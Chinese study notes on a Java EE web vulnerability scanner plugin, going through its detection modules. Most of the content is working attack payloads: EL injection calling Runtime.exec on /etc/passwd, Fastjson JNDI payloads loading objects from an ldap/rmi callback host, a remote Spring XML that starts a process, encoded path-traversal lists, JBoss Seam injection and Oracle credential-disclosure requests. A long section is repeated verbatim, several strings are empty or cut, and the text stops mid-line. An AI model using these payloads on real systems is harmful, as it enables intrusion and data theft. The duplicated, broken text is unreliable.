byte[] EL_TEST = "(new+java.util.Scanner((T(java.lang.Runtime).getRuntime().exec(\"cat+/etc/passwd\").getInputStream()),\"UTF-8\")).useDelimiter(\"\\\\A\").next()".getBytes();
拆分一下
a = T(java.lang.Runtime).getRuntime().exec(\"cat+/etc/passwd\")
b = a.getInputStream()
c = new java.util.Scanner(b,utf)
d = c.useDelimiter(\"\\\\A\")
e = d.next()
match的话就matchpasswd,这个判断不好,既然都是exec,为何不用ping这种跨平台的命令或者echo。
第二中payload
HashMap<byte[], byte[]> EL_INJECTIONS = new HashMap<byte[], byte[]>() {
{
put("${applicationScope}".getBytes(), "javax.servlet.context".getBytes());
put("#{applicationScope}".getBytes(), "javax.servlet.context".getBytes());
put(String.format("${%d*%d}", firstInt, secondInt).getBytes(), multiplication.getBytes());
put(String.format("#{%d*%d}", firstInt, secondInt).getBytes(), multiplication.getBytes());
put(String.format("{{%d*%d}}", firstInt, secondInt).getBytes(), multiplication.getBytes());
}
};
key是payload,value是响应包的match
EL表达式
https://xz.aliyun.com/t/7692
payload
// https://github.com/jas502n/fastjson-1.2.61-RCE
List<String> PAYLOADS = new ArrayList<>();
PAYLOADS.add("{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://%s:80/obj\",\"autoCommit\":true}");
PAYLOADS.add("{\"@type\":\"org.apache.commons.configuration2.JNDIConfiguration\",\"prefix\":\"ldap://%s:80/ExportObject\"}");
PAYLOADS.add("{\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://%s:80/ExportObject\",\"autoCommit\":true}}");
PAYLOADS.add("{\"a\":{ \"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://%s:80/ExportObject\",\"autoCommit\":true}}");
记得改content-type
String contentTypeHeader = HTTPParser.getRequestHeaderValue(reqInfo, "Content-type");
if (contentTypeHeader != null && !contentTypeHeader.contains("json")) {
match dnslog即可
collaboratorContext
分析看这个吧
http://xxlegend.com/2018/10/23/基于JdbcRowSetImpl的Fastjson%20RCE%20PoC构造与分析/
这个也要做一个插件impl?
请求"/.htaccess"
; match private static final byte[] GREP_STRING = "RewriteEngin".getBytes();
看着是比较老的洞了
说是connect 协议走http协议,代理到其他网站就可以绕过https的限制
发送
byte[] rawrequestHTTPConnect = "CONNECT http://www.google.com/humans.txt HTTP/1.0\r\n\r\n".getBytes();
match
private static final byte[] GREP_STRING = "Google is built by a large".getBytes();
这国内没法检测,建议重写个http的链接。
先判断返回包
String wwwAuthHeader = getResponseHeaderValue(respInfo, "WWW-Authenticate");
是不是401
if (responseCode == 401 && wwwAuthHeader != null) {
这个走的是之前提到的TOMCAT弱口令那个类
HTTPBasicBruteforce
credentials = wp.getCredentials();
Oracle IDoc 13年爆出的漏洞
payload
private static final List<byte[]> EL_INJECTION_TESTS = Arrays.asList(
"<$fileName=\"../../../../../../../../../../../etc/passwd\"$><$executeService(\"GET_LOGGED_SERVER_OUTPUT\")$><$ServerOutput$>".getBytes());
match
Pattern.compile("root:.*:0:[01]:", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));
这个就是通用型的一个绕waf
payload1
private static final List<String> UTF8_LFI_PATHS = Arrays.asList(
"/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f",
"/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/",
"/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f",
"/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f",
"/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f",
"/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/",
"/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f",
"/..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c",
"/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c",
"/%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\",
"/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af",
"/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/",
"/%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af",
"/%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af",
"/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c",
"/%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\",
"/%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c",
"/%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\",
"/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f",
"/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f",
"/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f",
"/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/",
"/..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\",
"/..../..../..../..../..../..../..../..../..../..../..../..../..../..../..../..../..../..../",
"%c2.%c2./%c2.%c2./%c2.%c2./%c2.%c2./%c2.%c2./%c2.%c2/%c2.%c2./%c2.%c2./%c2.%c2./%c2.%c2./%c2.%c2./%c2.%c2",
"/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c",
"..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\",
"/static/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f",
"..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\",
"....//....//....//....//....//....//....//....//"
);
payload2
{
put("etc/passwd", Pattern.compile("root:.*:0:[01]:", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));
put("windows\\win.ini", Pattern.compile("for 16\\-bit app support", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));
}
12拼接
match的值在payload2里面
payload
PAYLOADS.add("{\"param\":[\"org.springframework.context.support.FileSystemXmlApplicationContext\",\"http://%s/spel.xml\"]}");
match dnslog 就行
远程代码执行
这个spel.xml内容里面可以自定义命令
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg value="/Applications/Calculator.app/Contents/MacOS/Calculator" />
<property name="whatever" value="#{ pb.start() }"/>
</bean>
</beans>
payload
String payload = "fetch('https://%s')";
match dnslog
这个fetch 不仅仅可以打http协议的 file协议的也可以
payload
List<String> jsfTraversal = new ArrayList<>();
jsfTraversal.add("javax.faces.resource.../WEB-INF/web.xml.jsf");
jsfTraversal.add("javax.faces.resource.../WEB-INF/web.xml.xhtml");
jsfTraversal.add("javax.faces.resource./WEB-INF/web.xml.jsf?ln=..");
jsfTraversal.add("javax.faces.resource/…\\\\WEB-INF/web.xml");
jsfTraversal.add("jenia4faces/template/../WEB-INF/web.xml/ ");
jsfTraversal.add("/faces/javax.faces.resource/web.xml?ln=..\\\\WEB-INF");
jsfTraversal.add("/faces/javax.faces.r`eso`urce/..\\\\WEB-INF/web.xml");
jsfTraversal.add("/faces/javax.faces.resource/web.xml?loc=../WEB-INF");
match到下面就证明能读取到。
static {
DETECTION_REGEX.add(Pattern.compile("javax.faces." , Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));
}
先fuzz目录
private static final List<String> JBOSS_ADMIN_PATHS = Arrays.asList(
"/admin-console/login.seam;jsessionid=4416F53DDE1DBC8081CDBDCDD1666FB0"
);
match返回包
private static final List<byte[]> GREP_STRINGS = Arrays.asList(
"JBoss AS Admin" .getBytes(),
"JBoss AS 6 Admin Console ".getBytes(),
"JBoss EAP Admin Console ".getBytes(),
"Embedded Jopr Core ".getBytes()
);
则认为是控制台泄露
然后match是否有登录表单
private static final Pattern VIEWSTATE_PATTERN = Pattern.compile("id=\"javax.faces.ViewState\" value=\"(.*?)\"");
然后就可以进行弱口令爆破了
如果存在控制台
则可以接着尝试CVE20101871
这是一个模板注入
payload
headers.add("POST " + JBOSS_ADMIN_PATHS.get(0) + " HTTP/1.1");
headers.add("Host: " + url.getHost() + ":" + url.getPort());
headers.add("Content-Type: application/x-www-form-urlencoded");
headers.add("Cookie: JSESSIONID=4416F53DDE1DBC8081CDBDCDD1666FB0");
String body = "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime')}";
比较老的漏洞seam组件中插入#{payload}进行模板注入,
match的是反射获取的类。这里可以改成更无害一点的payload,例如随机数相加。
java
private static final byte[] GREP_STRING_CVE20101871 = "public+static+java.lang.Runtime+java.lang.Runtime.getRuntime".getBytes();
JBoss jBPM Admin Console
请求path
private static final List<String> JBOSS_jBPM_PATHS = Arrays.asList(
"/jbpm-console/app/tasks.jsf"
);
match
private static final List<byte[]> GREP_STRINGS = Arrays.asList(
"JBoss jBPM Administration Console ".getBytes()
);
漏洞path
private static final List<String> JBOSS_INVOKER_PATHS = Arrays.asList(
"/invoker/EJBInvokerServlet",
"/invoker/JMXInvokerServlet"
);
match
private static final byte[] GREP_STRING = "org.jboss.invocation.MarshalledValue".getBytes();
路径
private static final List<String> JBOSS_INVOKER_PATHS = Arrays.asList(
"/invoker/readonly"
);
匹配
private static final byte[] GREP_STRING = "org.jboss.invocation.http.servlet.ReadOnlyAccessFilter".getBytes();
路径
private static final List<String> JBOSS_WS = Arrays.asList(
"/juddi/"
);
match
private static final byte[] GREP_STRING = ">JBoss JUDDI".getBytes();
只能说明 JBoss Juddi console 控制台泄露,不能证明有漏洞
路径
private static final List<String> JBOSS_ADMIN_PATHS = Arrays.asList(
"/web-console/",
"/jmx-console/"
);
match
private static final byte[] GREP_STRING_JMX = "HtmlAdaptor?action=displayMBeans".getBytes();
private static final byte[] GREP_STRING_WEB = "ServerInfo.jsp\"".getBytes();
一个是web路径 一个jmx路径
这种如果管理员没有配置账号密码,则存在未授权,因为是管理WEB的,所以直接RCE。
路径
private static final List<String> JBOSS_WS = Arrays.asList(
"/jbossws/services"
);
match
private static final Pattern JBOSSWS_RE = Pattern.compile("JBossWS/Services
这个会暴露所有的web服务,也属于控制台泄露,信息收集。
payload
private static final byte[] INJ_TEST = {(byte) 0};
发送一个byte
match
private static final byte[] GREP_STRING = "400 Illegal character 0x0 in state".getBytes();
Jetty web server 远程共享缓冲区信息泄漏漏洞
原理大概是错误信息把缓冲区的东西带出来了。
路径
private static final List<String> JK_ENDPOINTS = Arrays.asList(
"/jk-status",
"/jkstatus-auth",
"/jkstatus",
"/jkmanager",
"/jkmanager-auth",
"/jdkstatus"
);
match
private static final byte[] GREP_STRING = "JK Status Manager".getBytes();
payload
private static final List<byte[]> LFI_INJECTION_TESTS = Arrays.asList(
".../....///.../....///.../....///.../....///.../....///.../....///etc/passwd".getBytes(),
".../...//.../...//.../...//.../...//.../...//.../...//.../...//.../...//etc/passwd".getBytes(),
"../../../../../../../../../../../../../../../../etc/passwd%00.html".getBytes(),
"file:///c:/windows/win.ini".getBytes(),
"file:///etc/passwd".getBytes(),
"file://\\/\\/etc/passwd".getBytes(),
"%2fetc%2fpasswd".getBytes(),
"../../../../../../../../../../../../../../../../windows/win.ini".getBytes(),
"../../../../../../../../../../../../../../../../windows/win.ini%00.html".getBytes()
);
通用型的任意文件读取
payload
private static final List<byte[]> LFI_INJECTION_TESTS = Arrays.asList(
"../../../../WEB-INF/web.xml".getBytes(),
"../../../WEB-INF/web.xml".getBytes(),
"../../WEB-INF/web.xml".getBytes(),
"../WEB-INF/web.xml".getBytes(),
"%c0%ae/WEB-INF/web.xml".getBytes(),
"%c0%ae/%c0%ae/WEB-INF/web.xml".getBytes(),
"%c0%ae/%c0%ae/%c0%ae/WEB-INF/web.xml".getBytes(),
"%c0%ae/%c0%ae/%c0%ae/%c0%ae/WEB-INF/web.xml".getBytes(),
// Spring Webflow payloads
"../../../WEB-INF/web.xml;x=".getBytes(),
"../../WEB-INF/web.xml;x=".getBytes(),
"../WEB-INF/web.xml;x=".getBytes(),
"WEB-INF/web.xml".getBytes(),
".//WEB-INF/web.xml".getBytes()
);
match
private static final byte[] GREP_STRING = ".getBytes();
这是读web目录,通用型的任意文件读取。
payload
private static final String NEXT_TRAVERSAL = "/_next/../../../../../../../../../etc/passwd";
nextjs的任意文件读取
修复的话对传入的path做了判断
payload
private static final String NODEJS_TRAVERSAL = "../../../j/../../../../etc/passwd";
修复mr:https://github.com/nodejs/node/commit/b98e8d995efb426bbdee56ce503017bdcbbc6332
payload
private static final String NODEJS_PATH = "///www.example.com/%2e%2e";
路由问题导致的URL跳转
match是否location即可
if (nodejsInfo.getStatusCode() == 301
|| nodejsInfo.getStatusCode() == 302
|| nodejsInfo.getStatusCode() == 303) {
String locationHeader = HTTPParser.getResponseHeaderValue(nodejsInfo, "Location");
if (locationHeader != null && locationHeader.startsWith("/www.example.com")) {
响应拆分漏洞
payload
private static final byte[] NODEJS_INJ = "%c4%8d%c4%8aInjectionHeader:%2020%c4%8d%c4%8a".getBytes();
path
private static final List<String> OAS_PATHS = Arrays.asList(
"/soapdocs/webapps/soap/WEB-INF/config/soapConfig.xml",
"/servlet/oracle.xml.xsql.XSQLServlet/soapdocs/webapps/soap/WEB-INF/config/soapConfig.xml",
"/xsql/lib/XSQLConfig.xml",
"/servlet/oracle.xml.xsql.XSQLServlet/xsql/lib/XSQLConfig.xml",
"/globals.jsa",
"/demo/ojspext/events/globals.jsa",
// Dynamic Monitoring Services
"/dms/AggreSpy",
"/soap/servlet/Spy",
"/servlet/Spy",
"/servlet/DMSDump",
"/dms/DMSDump",
// Oracle Java Process Manager
"/oprocmgr-status",
"/oprocmgr-service",
"/soap/servlet/soaprouter",
"/fcgi-bin/echo",
"/fcgi-bin/echo2",
"/fcgi-bin/echo.exe",
"/fcgi-bin/echo2.exe",
// BC4J Runtime Parameters
"/webapp/wm/runtime.jsp"
//TODO CVE-2002-0565
// "/_pages/_webapp/_admin/_showpooldetails.java",
// "/_pages/_webapp/_admin/_showjavartdetails.java",
// "/_pages/_webapp/_jsp/",
// "/_pages/_demo/",
// "/_pages/_demo/_sql/_pages/",
// "/OA_HTML/AppsLocalLogin.jsp"
);
返回包match
private static final List<byte[]> GREP_STRINGS = Arrays.asList(
"SOAP configuration file".getBytes(),
"On a PRODUCTION system".getBytes(),
"<%".getBytes(),
".getBytes(),
"DMS Metrics".getBytes(),
"Current Metric Values".getBytes(),
"Process Status".getBytes(),
"SOAP Server".getBytes(),
"DOCUMENT_ROOT=".getBytes(),
"BC4J Runtime Parameters".getBytes()
);
02年的洞
可以理解为oracle一些敏感文件的泄露,感觉现在应该不太可能有了,20年了。
path
private static final List<String> SQLNETLOG_PATHS = Arrays.asList(
"/sqlnet.log"
);
match
private static final List<byte[]> GREP_STRINGS = Arrays.asList(
"VERSION INFORMATION".getBytes()
);
sql的一写日志泄露。
path
private static final List<String> CGIENV_PATHS = Arrays.asList(
"/cgi-bin/printenv"
);
match
private static final byte[] GREP_STRINGS = "DOCUMENT_ROOT".getBytes();
同样的是敏感信息泄露。
payload
String Oracle_SSRF_Help = String.format("/OA_HTML/help?locale=en_AE&group=per:br_prod_HR:US&topic=http://%s:80/", currentCollaboratorPayload);
是个前台的洞
payload
String oracleSSRFDoctypePayload = String.format("", currentCollaboratorPayload);
是一个XXE 漏洞,可以打SSRF
path
private static final List<String> ORACLE_REPORT_SERVICE_PATHS = Arrays.asList(
"/reports/rwservlet/getserverinfo",
"/reports/rwservlet/showenv",
"/reports/rwservlet/showjobs",
"/reports/rwservlet/showmap"
);
match
private static final List<byte[]> GREP_STRINGS = Arrays.asList(
"Successful Jobs".getBytes(),
"Servlet Environment Variables".getBytes(),
"Reports Server Queue Status".getBytes(),
"Reports Servlet Key Map".getBytes()
);
这里面的路径都是敏感信息泄露。
其中
if (ORACLE_REPORT_SERVICE_PATH.equalsIgnoreCase("/reports/rwservlet/showmap")) {
格外关键,将rsp保存下来单独分析。
按行读取
String[] lines = helpers.bytesToString(showMapPage).split("\n")
找到行中包含
OraInstructionText
并进行match
private static final Pattern REPORT_SERVICE_KEY_PATTERN = Pattern.compile("OraInstructionText>([^<]+)<");
如果通过上面正则,没有找到了如下的key
private static final List<String> KEYMAPS_TO_IGNORE = Arrays.asList(
"%ENV_NAME%",
"barcodepaper",
"barcodeweb",
"breakbparam",
"charthyperlink_ias",
"charthyperlink_ids",
"distributionpaper",
"express",
"orqa",
"parmformjsp",
"pdfenhancements",
"report_defaultid",
"report_secure",
"run",
"runp",
"tutorial",
"xmldata"
);
则把匹配到的key拼接,然后发起请求
String RWSERVLET_PARSEQUERY_URL = "/reports/rwservlet/parsequery?";
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), RWSERVLET_PARSEQUERY_URL + key);
预期是请求得到username 和pwd
private static final Pattern PWD_DISCLOSURE_PATTERN = Pattern.compile("userid=([^/]+)/([^@]+)@([^ \\t]+)([ \\t]|$)");
payload
private static final String NEXT_TRAVERSAL = "/_next/../../../../../../../../../etc/passwd";
nextjs的任意文件读取
修复的话对传入的path做了判断
payload
private static final String NODEJS_TRAVERSAL = "../../../j/../../../../etc/passwd";
修复mr:https://github.com/nodejs/node/commit/b98e8d995efb426bbdee56ce503017bdcbbc6332
payload
private static final String NODEJS_PATH = "///www.example.com/%2e%2e";
路由问题导致的URL跳转
match是否location即可
if (nodejsInfo.getStatusCode() == 301
|| nodejsInfo.getStatusCode() == 302
|| nodejsInfo.getStatusCode() == 303) {
String locationHeader = HTTPParser.getResponseHeaderValue(nodejsInfo, "Location");
if (locationHeader != null && locationHeader.startsWith("/www.example.com")) {
响应拆分漏洞
payload
private static final byte[] NODEJS_INJ = "%c4%8d%c4%8aInjectionHeader:%2020%c4%8d%c4%8a".getBytes();
path
private static final List<String> OAS_PATHS = Arrays.asList(
"/soapdocs/webapps/soap/WEB-INF/config/soapConfig.xml",
"/servlet/oracle.xml.xsql.XSQLServlet/soapdocs/webapps/soap/WEB-INF/config/soapConfig.xml",
"/xsql/lib/XSQLConfig.xml",
"/servlet/oracle.xml.xsql.XSQLServlet/xsql/lib/XSQLConfig.xml",
"/globals.jsa",
"/demo/ojspext/events/globals.jsa",
// Dynamic Monitoring Services
"/dms/AggreSpy",
"/soap/servlet/Spy",
"/servlet/Spy",
"/servlet/DMSDump",
"/dms/DMSDump",
// Oracle Java Process Manager
"/oprocmgr-status",
"/oprocmgr-service",
"/soap/servlet/soaprouter",
"/fcgi-bin/echo",
"/fcgi-bin/echo2",
"/fcgi-bin/echo.exe",
"/fcgi-bin/echo2.exe",
// BC4J Runtime Parameters
"/webapp/wm/runtime.jsp"
//TODO CVE-2002-0565
// "/_pages/_webapp/_admin/_showpooldetails.java",
// "/_pages/_webapp/_admin/_showjavartdetails.java",
// "/_pages/_webapp/_jsp/",
// "/_pages/_demo/",
// "/_pages/_demo/_sql/_pages/",
// "/OA_HTML/AppsLocalLogin.jsp"
);
返回包match
private static final List<byte[]> GREP_STRINGS = Arrays.asList(
"SOAP configuration file".getBytes(),
"On a PRODUCTION system".getBytes(),
"<%".getBytes(),
".getBytes(),
"DMS Metrics".getBytes(),
"Current Metric Values".getBytes(),
"Process Status".getBytes(),
"SOAP Server".getBytes(),
"DOCUMENT_ROOT=".getBytes(),
"BC4J Runtime Parameters".getBytes()
);
02年的洞
可以理解为oracle一些敏感文件的泄露,感觉现在应该不太可能有了,20年了。
path
private static final List<String> SQLNETLOG_PATHS = Arrays.asList(
"/sqlnet.log"
);
match
private static final List<byte[]> GREP_STRINGS = Arrays.asList(
"VERSION INFORMATION".getBytes()
);
sql的一写日志泄露。
path
private static final List<String> CGIENV_PATHS = Arrays.asList(
"/cgi-bin/printenv"
);
match
private static final byte[] GREP_STRINGS = "DOCUMENT_ROOT".getBytes();
同样的是敏感信息泄露。
payload
String Oracle_SSRF_Help = String.format("/OA_HTML/help?locale=en_AE&group=per:br_prod_HR:US&topic=http://%s:80/", currentCollaboratorPayload);
是个前台的洞
payload
String oracleSSRFDoctypePayload = String.format("", currentCollaboratorPayload);
是一个XXE 漏洞,可以打SSRF
path
private static final List<String> ORACLE_REPORT_SERVICE_PATHS = Arrays.asList(
"/reports/rwservlet/getserverinfo",
"/reports/rwservlet/showenv",
"/reports/rwservlet/showjobs",
"/reports/rwservlet/showmap"
);
match
private static final List<byte[]> GREP_STRINGS = Arrays.asList(
"Successful Jobs".getBytes(),
"Servlet Environment Variables".getBytes(),
"Reports Server Queue Status".getBytes(),
"Reports Servlet Key Map".getBytes()
);
这里面的路径都是敏感信息泄露。
其中
if (ORACLE_REPORT_SERVICE_PATH.equalsIgnoreCase("/reports/rwservlet/showmap")) {
格外关键,将rsp保存下来单独分析。
按行读取
String[] lines = helpers.bytesToString(showMapPage).split("\n")
找到行中包含
OraInstructionText
并进行match
private static final Pattern REPORT_SERVICE_KEY_PATTERN = Pattern.compile("OraInstructionText>([^<]+)<");
如果通过上面正则,没有找到了如下的key
private static final List<String> KEYMAPS_TO_IGNORE = Arrays.asList(
"%ENV_NAME%",
"barcodepaper",
"barcodeweb",
"breakbparam",
"charthyperlink_ias",
"charthyperlink_ids",
"distributionpaper",
"express",
"orqa",
"parmformjsp",
"pdfenhancements",
"report_defaultid",
"report_secure",
"run",
"runp",
"tutorial",
"xmldata"
);
则把匹配到的key拼接,然后发起请求
String RWSERVLET_PARSEQUERY_URL = "/reports/rwservlet/parsequery?";
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), RWSERVLET_PARSEQUERY_URL + key);
预期是请求得到username 和pwd
private static final Pattern PWD_DISCLOSURE_PATTERN = Pattern.compile("userid=([^/]+)/([^@]+)@([^ \\t]+)([ \\t]|$)");
路径
private static final List<String> staticURLFolders = Arrays.asList(
"/resources/",
"/files/",
"/upload/",
"/static/",
"/content/",
"/html/",
"/deploy/"
);
先判断真实的路径中有没有上述的path
for (String staticResourceFolder : staticURLFolders) {
if (currentPath.contains(staticResourceFolder)) {
然后将原始的HTTP做一个替换
String mutatedHTTPRequest = mutator(HTTPRequest, staticResourceFolder, staticResourceFolder + INJ);
替换的payload是
private static final String INJ = "file:/etc/passwd";
mutator函数就是一个找正则然后replace
private String mutator(String httpRequest, String staticResourceFolder, String payload) {
return httpRequest.replaceFirst(staticResourceFolder + ".* ", payload + " ");
}
payload
PAYLOADS.add("/javax.faces.resource/j2eescan.xhtml?pfdrt=sc&ln=primefaces&pfdrid=" + PrimeFacesELInjection.INJ_TEST);
PAYLOADS.add("/javax.faces.resource/j2eescan.jsf?pfdrt=sc&ln=primefaces&pfdrid=" + PrimeFacesELInjection.INJ_TEST);
private static final String INJ_TEST = "uMKljPgnOTVxmOB%2bH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVYjEh7SE3F4WmfKUle6apy2QGwABuVlzurPsgFxYP0G3b1dDqmgmxMw%3d%3d";
match返回包则存在漏洞
if (header.contains("J2EESCANPRIME")) {
这是个RCE
关键是这个pfdrid参数,是EL表达式的加密结果。
这里payload是加密下面的表达式,所以判断返回包是看headers
"${facesContext.getExternalContext().setResponseHeader(\\\"J2EESCANPRIME\\\",\\\"primefaces\\\")}"
默认密码是
Default = primefaces
利用工具看这个
https://github.com/pimps/CVE-2017-1000486
REST API Swagger 的相关问题
相关路径
private static final List<String> SWAGGER_APIS = Arrays.asList(
"/swagger-ui.html",
"/swagger/swagger-ui.html",
"/api/swagger-ui.html",
"/swagger/index.html",
"/%20/swagger-ui.html"
);
这个我们见得比较多了,这里面能拿到服务端的一些API构造。
match
private static final byte[] GREP_STRING = "Swagge" .getBytes();
JBoss seam2的模板注入
payload
byte[] rawSimpleRequestSeam = helpers.addParameter(rawRequest,
helpers.buildParameter("actionOutcome",
